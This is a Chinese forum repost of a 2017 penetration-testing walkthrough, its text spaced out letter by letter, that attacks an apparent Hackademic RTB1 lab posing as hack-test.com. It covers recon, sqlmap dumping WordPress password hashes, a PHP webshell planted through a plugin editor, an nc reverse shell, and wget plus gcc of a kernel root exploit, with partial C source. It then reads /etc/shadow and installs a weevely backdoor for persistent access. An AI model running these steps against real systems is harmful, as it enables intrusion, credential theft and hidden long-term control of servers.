搜索

[20741] 2017-05-08_从信息收集到入侵提权(渗透测试基础总结)

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2017-05-08_从信息收集到入侵提权(渗透测试基础总结) 从 信 息 收 集 到 入 侵 提 权 ( 渗 透 测 试 基 础 总 结 ) L e m o n S e c   2 0 1 7 - 0 5 - 0 8 本 文 将 从 最 开 始 的 信 息 收 集 开 始 讲 述 是 如 何 一 步 步 的 攻 破 你 的 网 站 和 服 务 器 的 . 阅 读 本 文 你 会 学 到 以 下 内 容 ： 1 . 渗 透 测 试 前 的 简 单 信 息 收 集 2 . s q l m a p 的 使 用 3 . n m a p 的 使 用 4 . n c 反 弹 提 权 5 . l i n u x 系 统 的 权 限 提 升 6 . b a c k t r a c k   5 （ 现 在 为 k a l i ） 中 渗 透 测 试 工 具 n i k t o 和 w 3 a f 的 使 用 等 假 设 要 入 侵 的 网 站 域 名 为 假 设 要 入 侵 的 网 站 域 名 为 : h a c k - t e s t . c o m 让 我 们 用 p i n g 命 令 获 取 网 站 服 务 器 的 I P 地 址 . 获 取 了 网 站 服 务 器 的 I P 地 址 为 : 1 7 3 . 2 3 6 . 1 3 8 . 1 1 3 如 果 网 站 是 托 管 的 可 能 在 同 一 服 务 器 上 有 多 个 域 名 。 寻 找 同 一 服 务 器 上 的 其 它 网 站 ， 使 用 s a m e i p . o r g . 2 6   s i t e s   h o s t e d   o n   I P   A d d r e s s   1 7 3 . 2 3 6 . 1 3 8 . 1 1 3 1 7 3 . 2 3 6 . 1 3 8 . 1 1 3 上 有 2 6 个 网 站 ， 为 了 攻 破 网 站 可 能 会 检 查 同 服 务 器 上 的 其 它 网 站 ， 但 是 本 次 是 以 研 究 为 目 标 ， 抛 开 服 务 器 上 的 其 它 网 站 ， 只 针 对 你 的 网 站 来 进 行 入 侵 检 测 。 1 .   D N S   r e c o r d s   ( A ,   N S ,   T X T ,   M X   a n d   S O A ) 2 .   W e b   S e r v e r   T y p e   ( A p a c h e ,   I I S ,   T o m c a t ) 3 .   R e g i s t r a r   ( t h e   c o m p a n y   t h a t   o w n s   y o u r   d o m a i n ) 4 .   Y o u r   n a m e ,   a d d r e s s ,   e m a i l   a n d   p h o n e 5 .   S c r i p t s   t h a t   y o u r   s i t e   u s e s   ( p h p ,   a s p ,   a s p . n e t ,   j s p ,   c f m ) 6 .   Y o u r   s e r v e r   O S   ( U n i x , L i n u x , W i n d o w s , S o l a r i s ) 7 .   Y o u r   s e r v e r   o p e n   p o r t s   t o   i n t e r n e t   ( 8 0 ,   4 4 3 ,   2 1 ,   e t c . ) 开 始 找 网 站 的 D N S 记 录 ， 用 w h o . i s 来 完 成 这 一 目 标 .
发 现 D N S 记 录 如 下 ： 来 确 定 w e b 服 务 器 的 类 型 ： W e b 服 务 器 是 a p a c h e ， 接 下 来 确 定 它 的 版 本 . 接 下 来 是 时 候 寻 找 你 网 站 域 名 的 注 册 信 息 , 你 的 电 话 、 邮 箱 、 地 址 等 . H A C K - T E S T . C O M   S I T E   I N F O R M A T I O N I P :   1 7 3 . 2 3 6 . 1 3 8 . 1 1 3 W e b s i t e   S t a t u s :   a c t i v e S e r v e r   T y p e :   A p a c h e A l e x a   T r e n d / R a n k :     1   M o n t h :   3 , 2 1 3 , 9 6 8   3   M o n t h :   2 , 1 6 1 , 7 5 3 P a g e   V i e w s   p e r   V i s i t :     1   M o n t h :   2 . 0   3   M o n t h :   3 . 7
现 在 已 经 获 取 了 网 站 域 名 的 注 册 信 息 ， 包 括 重 要 信 息 等 . 可 以 通 过 b a c k t r a c k   5 中 的 w h a t w e b 来 获 取 网 站 服 务 器 操 作 系 统 类 型 和 服 务 器 的 版 本 . 发 现 网 站 使 用 了 著 名 的 p h p 整 站 程 序 w o r d p r e s s ， 服 务 器 的 的 系 统 类 型 为 F e d o r a   L i n u x ， W e b 服 务 器 版 本 A p a c h e   2 . 2 . 1 5 . 继 续 查 看 网 站 服 务 器 开 放 的 端 口 ， 用 渗 透 测 试 工 具 n m a p : 1 - F i n d   s e r v i c e s   t h a t   r u n   o n   s e r v e r ( 查 看 服 务 器 上 运 行 的 服 务 ) 2 - F i n d   s e r v e r   O S ( 查 看 操 作 系 统 版 本 ) 只 有 8 0 端 口 是 开 放 的 , 操 作 系 统 是 L i n u x 2 . 6 . 2 2 （ F e d o r a   C o r e   6 ） ， 现 在 已 经 收 集 了 所 有 关 于 网 站 的 重 要 信 息 ,   接 下 来 开 始 扫 描 寻 找 漏 洞 , 比 如 : S q l   i n j e c t i o n   –   B l i n d   s q l   i n j e c t i o n   –   L F I   –   R F I   –   X S S   –   C S R F   等 等 . 接 下 来 将 使 用 N i k t o 来 收 集 漏 洞 信 息 : r o o t @ b t : / p e n t e s t / w e b / n i k t o #   p e r l   n i k t o . p l   - h   h a c k - t e s t . c o m
也 会 用 到 B a c k t r a c k   5   （ k a l i ） 中 的 W 3 A F   工 具 : r o o t @ b t : / p e n t e s t / w e b / w 3 a f #   . / w 3 a f _ g u i 输 入 要 检 测 的 网 站 地 址 , 选 择 完 整 的 安 全 审 计 选 项 . 稍 等 一 会 ， 你 将 会 看 到 扫 描 结 果 .
发 现 网 站 存 在 s q l 注 入 漏 洞 、 X S S 漏 洞 、 以 及 其 它 的 漏 洞 . 来 探 讨 S Q L 注 入 漏 洞 . h t t p : / / h a c k - t e s t . c o m / H a c k a d e m i c _ R T B 1 / ? c a t = d ％ 2 7 z ％ 2 2 0 通 过 工 具 发 现 这 个 U R L 存 在 S Q L 注 入 ， 通 过 S q l m a p 来 检 测 这 个 u r l . U s i n g   s q l m a p   w i t h   – u   u r l 过 一 会 你 会 看 到 输 入 N 按 回 车 键 继 续 发 现 网 站 存 在 m y s q l 显 错 注 入 ， m y s q l 数 据 库 版 本 是 5 . 0 .   通 过 加 入 参 数 ” - d b s ” 来 尝 试 采 集 数 据 库 名 .   发 现 三 个 数 据 库 , 接 下 来 通 过 参 数 ” - D   w o r d p r e s s   - t a b l e s ” 来 查 看 w o r d p r e s s 数 据 库 的 所 有 表 名 通 过 参 数 “ - T   w p _ u s e r s   – c o l u m n s   ” 来 查 看 w p _ u s e r s 表 中 的 字 段 .
接 下 来 猜 解 字 段 u s e r _ l o g i n 和 u s e r _ p a s s 的 值 . 用 参 数 ” - C   u s e r _ l o g i n , u s e r _ p a s s   – d u m p ” 发 现 用 户 名 和 密 码 h a s h e s 值 .   我 们 需 要 通 过 以 下 在 线 破 解 网 站 来 破 解 密 码 h a s h e s h t t p : / / w w w . o n l i n e h a s h c r a c k . c o m / f r e e - h a s h - r e v e r s e . p h p 登 陆 w o r d p r e s s 的 后 台 w p - a d m i n 尝 试 上 传 p h p   w e b s h e l l 到 服 务 器 ， 以 方 便 运 行 一 些 l i n u x 命 令 . 在 插 件 页 面 寻 找 任 何 可 以 编 辑 的 插 件 .   选 择 T e x t i l e 这 款 插 件 ， 编 辑 插 入 我 们 的 p h p   w e b s h e l l ， 点 击 更 新 文 件 ， 然 后 访 问 我 们 的 p h p   w e b s h e l l .
P h p   w e b s h e l l 被 解 析 了 ， 可 以 控 制 网 站 的 文 件 ， 但 是 我 们 只 希 望 获 得 网 站 服 务 器 的 r o o t 权 限 , 来 入 侵 服 务 器 上 其 它 的 网 站 。 用 N C 来 反 弹 一 个 s h e l l , 首 先 在 我 们 的 电 脑 上 监 听 5 5 5 5 端 口 . 然 后 在 P h p   w e b s h e l l 上 反 向 连 接 我 们 的 电 脑 ， 输 入 你 的 I P 和 端 口 5 5 5 5 . 点 击 连 接 我 们 会 看 到     接 下 来 我 们 尝 试 执 行 一 些 命 令 ： i d   u i d = 4 8 ( a p a c h e )   g i d = 4 8 9 ( a p a c h e )   g r o u p s = 4 8 9 ( a p a c h e )   （ 用 来 显 示 用 户 的 i d 和 组 ）
p w d   / v a r / w w w / h t m l / H a c k a d e m i c _ R T B 1 / w p - c o n t e n t / p l u g i n s   （ 显 示 服 务 器 上 当 前 的 路 径 ） u n a m e   - a   L i n u x   H a c k a d e m i c R T B 1   2 . 6 . 3 1 . 5 - 1 2 7 . f c 1 2 . i 6 8 6   # 1   S M P   S a t   N o v   7   2 1 : 4 1 : 4 5   E S T   2 0 0 9   i 6 8 6   i 6 8 6   i 3 8 6   G N U / L i n u x （ 显 示 内 核 版 本 信 息 ） 现 在 知 道 ： 服 务 器 的 内 核 版 本 是 2 . 6 . 3 1 . 5 - 1 2 7 . f c 1 2 . 1 6 8 6 , 在 e x p l o i t - d b . c o m 中 搜 索 此 版 本 的 相 关 漏 洞 . 在 服 务 器 上 测 试 了 很 多 e x p 之 后 ， 用 以 下 的 e x p 来 提 升 权 限 . h t t p : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 1 5 2 8 5   我 们 在 n c   s h e l l 上 执 行 以 下 命 令 : w g e t   h t t p : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 1 5 2 8 5   - o   r o r o . c ( 下 载 e x p 到 服 务 器 并 重 命 名 为 r o r o . c ) 注 ： 很 多 l i n u x 内 核 的 e x p 都 是 C 语 言 开 发 的 , 因 此 我 们 保 存 为 . c 扩 展 名 . e x p   r o r o . c 代 码 如 下 ：   # i n c l u d e   < s t d i o . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < s y s / t y p e s . h > # i n c l u d e   < s y s / s o c k e t . h > # i n c l u d e   < n e t i n e t / i n . h > # i n c l u d e   < e r r n o . h > # i n c l u d e   < s t r i n g . h > # i n c l u d e   < s y s / p t r a c e . h > # i n c l u d e   < s y s / u t s n a m e . h > # d e f i n e   R E C V P O R T   5 5 5 5 # d e f i n e   S E N D P O R T   6 6 6 6 i n t   p r e p _ s o c k ( i n t   p o r t ) { i n t   s ,   r e t ; s t r u c t   s o c k a d d r _ i n   a d d r ; s   =   s o c k e t ( P F _ R D S ,   S O C K _ S E Q P A C K E T ,   0 ) ; i f ( s   <   0 ) { p r i n t f ( “ [ * ]   C o u l d   n o t   o p e n   s o c k e t . n ” ) ; e x i t ( - 1 ) ; } m e m s e t ( & a d d r ,   0 ,   s i z e o f ( a d d r ) ) ;   通 过 以 上 代 码 发 现 该 e x p 是 C 语 言 开 发 的 ， 需 要 将 他 编 译 成 e l f 格 式 的 , 命 令 如 下 :  
g c c   r o r o . c   – o   r o r o   接 下 来 执 行 编 译 好 的 e x p   . / r o r o 执 行 完 成 之 后 我 们 输 入 i d 命 令   i d   我 们 发 现 我 们 已 经 是 r o o t 权 限 了   u i d = 0 ( r o o t )   g i d = 0 ( r o o t ) 现 在 我 们 可 以 查 看 / e t c / s h a d o w 文 件 c a t   / e t c / s h a d o w 查 看 / e t c / p a s s w d   文 件 c a t   / e t c / p a s s w d
可 以 使 用 ” j o h n   t h e   r i p p e r ” 工 具 破 解 所 有 用 户 的 密 码 . 需 要 在 这 个 服 务 器 上 留 下 后 门 以 方 便 在 任 何 时 候 访 问 它 . 用 w e e v e l y 制 作 一 个 p h p 小 马 上 传 到 服 务 器 上 . 1 . w e e v e l y 使 用 选 项 r o o t @ b t : / p e n t e s t / b a c k d o o r s / w e b / w e e v e l y #   . / m a i n . p y   – 2 . 用 w e e v e l y 创 建 一 个 密 码 为 k o k o 的 p h p 后 门 r o o t @ b t : / p e n t e s t / b a c k d o o r s / w e b / w e e v e l y #   . / m a i n . p y   - g   - o   h a x . p h p   - p   k o k o 接 下 来 上 传 到 服 务 器 之 后 来 使 用 它 r o o t @ b t : / p e n t e s t / b a c k d o o r s / w e b / w e e v e l y #   . / m a i n . p y   - t   - u   h t t p : / / h a c k - t e s t . c o m / H a c k a d e m i c _ R T B 1 / w p - c o n t e n t / p l u g i n s / h a x . p h p   - p k o k o
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理